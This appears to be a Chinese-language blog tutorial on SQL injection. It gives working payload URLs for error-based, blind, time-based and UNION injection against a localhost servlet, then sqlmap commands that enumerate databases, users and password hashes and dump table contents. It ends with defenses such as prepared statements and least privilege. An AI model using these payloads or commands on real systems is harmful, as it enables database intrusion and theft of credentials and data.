SQL注入就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
SQL注入攻击可以非法读取、篡改、添加、删除数据库中的数据,盗取用户各类敏感信息,获取利益,可以修改数据库来改变网页的内容,可以私自添加或删除账号。

2.SQL注入攻击原理
当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字 符串来传递,也会发生sql注入。如下图所示。

判断是否有sql注入漏洞
错误回显
如果攻击者在请求参数中输入的参数导致后台执行查询语句的语法错误,从服务器中直接返回了错误信息。则表明该请求有sql注入漏洞,并且可以在错误回显中获取服务器的数据库类型。

首先它证明了该表名不是job,而且它还告诉我们后台数据库是SQL Server,不是MySQL或Oracle,这也设计一个漏洞把错误信息直接返回给了用户。
盲注
所谓“盲注”,就是在服务器没有显示回显时完成的注入攻击。常见的盲注验证方法是,构造简单的条件语句,根据返回页面是否发生变化,来判断SQL语句是否得到执行。
如,一个应用URL:
http://localhost:4444/web_test/LoginServlet?account=222
如果攻击者构造如下的条件语句:
http://localhost:4444/web_test/LoginServlet?account=222' and 1=1 %23
http://localhost:4444/web_test/LoginServlet?account=222' and 1=2 %23
至此,则该url有sql注入漏洞。

SQL注入攻击技巧
基于布尔的盲注,即根据返回页面判断条件真假的注入。
如判断web应用中该sql语句查询结果的字段数。
采用order by来判断
http://localhost:4444/web_test/LoginServlet?account=222' order by 5 %23
基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
对于返回页面没有显示任何信息的情况下,利用HENCHMARK()函数或SLEEP()函数,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断出注入语句是否执行成功。
下面采用SLEEP来进行举例。
http://localhost:4444/web_test/LoginServlet?account=222' UNION SELECT 1,2,3,4,5,6,7,IF(SUBSTR(DATABASE(),1,1)='s',SLEEP(5),NULL) %23
基于报错注入,即页面会返回错误信息。
联合查询注入,可以使用union的情况下的注入。
1)获取数据库的表名、用户名、数据库版本信息
http://localhost:4444/web_test/LoginServlet?account=222' union select 1,DATABASE(),3,VERSION(),5,USER(),7,8 %23
2)获取所有的数据库
http://localhost:4444/web_test/LoginServlet?account=222' union all select 1,table_schema,3,4,5,6,7,8 from information_schema.columns group by table_schema %23
3)获取对应数据库的所有表名
http://localhost:4444/web_test/LoginServlet?account=222' UNION ALL SELECT 1,table_name,3,4,5,6,7,8 FROM information_schema.TABLES WHERE table_schema='pressure_test' GROUP BY table_name %23
4)获取指定表的所有字段
http://localhost:4444/web_test/LoginServlet?account=222' UNION ALL SELECT 1,column_name,3,4,5,6,7,8 FROM information_schema.columns WHERE table_name='access_control_menu' GROUP BY column_name %23

SQLMAP
sqlmap是一个自动化的SQL注入工具,其主要功能是利用给定的URL的SQL注入漏洞sqlmap只是用来检测和利用sql注入点的,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点。
1.检测注入点是否可用
C:\Python27\sqlmap>python sqlmap.py -u "http://localhost:4444/web_test/LoginServlet?account=222"

可以看出数据库是MySQL,用的是jsp,数据库版本信息等。
2.查询所有数据库名称
C:\Python27\sqlmap>python sqlmap.py -u "http://localhost:4444/web_test/LoginServlet?account=222" --dbs

3.web当前使用的数据库
C:\Python27\sqlmap>python sqlmap.py -u "http://localhost:4444/web_test/LoginServlet?account=222" --current-db

4.web数据库使用账户
C:\Python27\sqlmap>python sqlmap.py -u "http://localhost:4444/web_test/LoginServlet?account=222" --current-user
5.列出sqlserver所有用户
C:\Python27\sqlmap>python sqlmap.py -u "http://localhost:4444/web_test/LoginServlet?account=222" --users

6.数据库账户与密码
C:\Python27\sqlmap>python sqlmap.py -u "http://localhost:4444/web_test/LoginServlet?account=222" --passwords

7.列出数据库中的表
C:\Python27\sqlmap>python sqlmap.py -u "http://localhost:4444/web_test/LoginServlet?account=222" -D data --tables
参数:
-D:指定数据库名称
--tables:列出表
8.列出表中字段
C:\Python27\sqlmap>python sqlmap.py -u "http://localhost:4444/web_test/LoginServlet?account=222" -D data -T table --columns
参数:
-D:指定数据库名称
-T:指定要列出字段的表
--columns:指定列出字段
9.字段内容
C:\Python27\sqlmap>python sqlmap.py -u “http://localhost:4444/web_test/LoginServlet?account=222” -D data -T table -C "xx1,xx2" --dump
参数:
-C :指定要暴的字段
--dump:将结果导出
如果字段内容太多,需要花费很多时间。可以指定导出特定范围的字段内容,命令如下:
C:\Python27\sqlmap>python sqlmap.py -u “http://localhost:4444/web_test/LoginServlet?account=222” -D data -T table -C "xx1,xx2" --start 1 --stop 10 --dump
参数:
--start:指定开始的行
--stop:指定结束的行

4.防御

使用预编译语言
一般来说,防御SQL注入的最佳方式,就是使用预编译语句,绑定变量。因为SQL语句在程序运行前已经进行了预编译,在程序运行时第一次操作数据库之前,SQL语句已经被数据库分析,编译和优化,对应的执行计划也会缓存下来并允许数据库已参数化的形式进行查询,当运行时动态地把参数传给PreprareStatement时,即使参数里有敏感字符如 or '1=1'也会作为一个参数一个字段的属性值来处理而不会作为一个SQL指令,如此,就起到了SQL注入的作用了。
String sql = "select id, no from user where id=?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setInt(1, id);
ps.executeQuery();
使用存储过程
使用存储过程的效果和使用预编译语句译类似,其区别就是存储过程需要先将SQL语句定义在数据库中。
检查数据类型
在前端和后端限制用户的输入类型,如通过id进行查询操作,就限制输入数据的类型只能为integer,或者用户在输入邮箱时,必须严格按照邮箱的格式:输入时间、日期时,必须严格按照时间、日期的格式等,等能避免用户数据造成破坏。
这里参考OWASP ESAPI的实现。附件提供esapi-2.1.0-dist.zip。使用如下:
MySQLCodec codec = new MySQLCodec(Mode.STANDARD);
account = ESAPI.encoder().encodeForSQL(codec, account);
String sql = "SELECT * FROM usermanagement WHERE account='"+account+"'";
最小权限原则
从数据库自身的角度来说,应该使用最小权限原则,避免Web应用直接使用root高级权限账户直接连接数据库。如果有多个不同的应用在使用同一个数据库,则也应该为每个应用分配不同的账户。Web应用使用的数据库账户,不应该有创建自定义函数、操作本地文件的权限。

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注

Captcha Code